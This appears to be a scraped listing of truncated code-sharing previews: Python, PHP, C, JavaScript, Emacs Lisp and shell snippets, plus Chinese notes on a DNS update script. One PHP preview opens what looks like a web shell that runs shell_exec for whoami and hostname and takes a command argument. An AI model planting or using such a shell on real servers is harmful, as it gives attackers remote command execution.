Using Python's built-in defaultdict we can easily define a tree data structure:
def tree(): return defaultdict(tree)That's it!
| #!/usr/bin/env python | |
| # Joric/bitcoin-dev, june 2012, public domain | |
| import hashlib | |
| import ctypes | |
| import ctypes.util | |
| import sys | |
| ssl = ctypes.cdll.LoadLibrary (ctypes.util.find_library ('ssl') or 'libeay32') | 
| /** | |
| * TUI::ui::slider | |
| * @created: Dexter.Yy | |
| * @modified: $Author$ | |
| * @version: $Rev$ | |
| */ | |
| /** | |
| * 滑块组件 | |
| * @class TUI.widget.slider | 
| #!/usr/bin/env php | |
| <?php | |
| function fetch_page($url, $timeout = 5) { | |
| $ch = curl_init(); | |
| curl_setopt($ch, CURLOPT_URL, $url); | |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
| curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | |
| $data = curl_exec($ch); | |
| curl_close($ch); | 
| #import <stdio.h> | |
| #import <sys/socket.h> | |
| #import <arpa/inet.h> | |
| #import <stdlib.h> | |
| #import <string.h> | |
| #import <unistd.h> | |
| #define MAXPENDING 5 | |
| void HandleTCPClient(int clntSocket); | 
| <?php session_start(); ?> | |
| <?php | |
| if (empty($_SESSION['path'])) { | |
| $_SESSION['user'] = shell_exec('whoami'); | |
| $_SESSION['host'] = shell_exec('hostname'); | |
| $_SESSION['path'] = dirname(__FILE__); | |
| } | |
| function showInfo($cmd) { | |
| $user = $_SESSION['user']; | 
| diff --git a/lisp/term/ns-win.el b/lisp/term/ns-win.el | |
| index 084b62f..b7ed1a2 100644 | |
| --- a/lisp/term/ns-win.el | |
| +++ b/lisp/term/ns-win.el | |
| @@ -1267,6 +1267,10 @@ the operating system.") | |
| (add-to-list 'window-system-initialization-alist '(ns . ns-initialize-window-system)) | |
| +(declare-function ns-toggle-fullscreen-internal "nsfns.m" ()) | |
| +(defun ns-toggle-fullscreen () | 
Using Python's built-in defaultdict we can easily define a tree data structure:
def tree(): return defaultdict(tree)That's it!
| license: gpl-3.0 | 
| #!/bin/sh | |
| # 初期設定 | |
| WORK=$HOME/Builds/build-essential | |
| PREFIX=$HOME/local | |
| export PATH="$PREFIX/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin" | |
| # ソースコードのダウンロード | |
| if [ ! -d $WORK/src ] ; then | |
| mkdir src | 
替换上你的 API Token,域名ID,记录ID等参数,就可以运行了。 会在后台一直运行,每隔30秒检查一遍IP,如果修改了就更新IP。
获得 domain_id 可以用 curl
curl -k https://dnsapi.cn/Domain.List -d "login_token=TOKEN"`